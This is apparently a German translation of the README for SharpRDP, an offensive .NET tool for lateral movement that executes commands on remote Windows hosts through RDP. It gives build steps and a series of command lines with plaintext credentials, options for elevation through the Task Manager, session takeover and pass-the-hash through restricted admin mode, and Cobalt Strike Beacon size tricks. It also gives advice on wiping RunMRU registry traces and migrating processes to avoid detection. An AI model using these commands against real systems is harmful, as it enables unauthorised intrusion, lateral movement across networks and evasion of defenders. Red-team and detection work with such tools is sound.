
Remote Desktop Protocol .NET-Konsolenanwendung für authentifizierte Befehlsausführung
Zum Kompilieren öffnen Sie das Projekt in Visual Studio und erstellen Sie einen Release-Build. Zwei DLLs werden in das Release-Verzeichnis ausgegeben, diese werden jedoch nicht benötigt, da die DLLs in der Assembly enthalten sind.
Wenn Sie die bereitgestellten DLLs nicht verwenden möchten, benötigen Sie das .NET SDK, um die Datei AxMSTSCLib.dll zu erstellen. Führen Sie dazu aximp aus dem SDK auf der mstscax.dll aus: %<SDK dir>%\aximp.exe %windir%\system32\mstscax.dll. Diese DLLs müssen dann vom Projekt referenziert werden, damit die Interop-DLLs erstellt werden.
Sie müssen die DLLs außerdem mit Deflate komprimieren und als AxInterop.MSTSCLib.dll.bin und Interop.MSTSCLib.dll.bin benennen.
Normale RDP-Verbindung und Ausführung
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
Programm als Kindprozess von cmd oder powershell ausführen
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password exec=cmd
Eingeschränkten Administratormodus verwenden
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe"
Erste Host-Laufwerke verbinden
SharpRDP.exe computername=domain.target command="\\tsclient\C\Temp\file.exe" username=domain\user password=password connectdrive=true
Befehl erhöht über den Ausführen-Dialog ausführen – AKTUELL FEHLERHAFT
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe" username=domain\user password=password elevated=winr
Befehl erhöht über den Task-Manager ausführen
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password elevated=taskmgr
Netzwerkauthentifizierung (NLA) hinzufügen
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password nla=true
Anmeldesitzung übernehmen lassen
SharpRDP.exe computername=domain.target command="C:\Temp\file.exe\" username=domain\user password=password takeover=true
Wenn der eingeschränkte Administratormodus auf dem Ziel aktiviert ist, geben Sie keine Anmeldedaten an; dann wird der aktuelle Benutzerkontext verwendet. Möglich ist PTH oder make_token im Beacon oder runas /netonly auf einem Windows-System.
Die gesamte Ausführung beginnt mit dem Windows-Ausführen-Dialog (Win+R). Dabei wird ein Registrierungsschlüssel unter HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU mit dem ausgeführten Befehl erstellt. Wenn Sie diesen entfernen möchten, können Sie verwenden: CleanRunMRU: RunMRU-Werte abrufen oder löschen
Beachten Sie: Wenn Sie ein Programm wie msbuild ausführen (es gibt sicherlich andere), erscheint ein cmd-Fenster, solange der Prozess läuft. In diesem Fall wäre es wahrscheinlich am besten, den Prozess zu migrieren und den ursprünglichen zu beenden.
Die erforderlichen DLLs sind in der Assembly kompiliert und es wird das App-Domain-Assembly-Resolver-Ereignis verwendet. Aufgrund der Größe der DLLs werden sie komprimiert und zur Laufzeit dekomprimiert (damit sie die 1-MB-Größenbeschränkung des Beacons einhalten).
Blog darüber findet sich hier SharpRDP
Auch Teil von MoveKit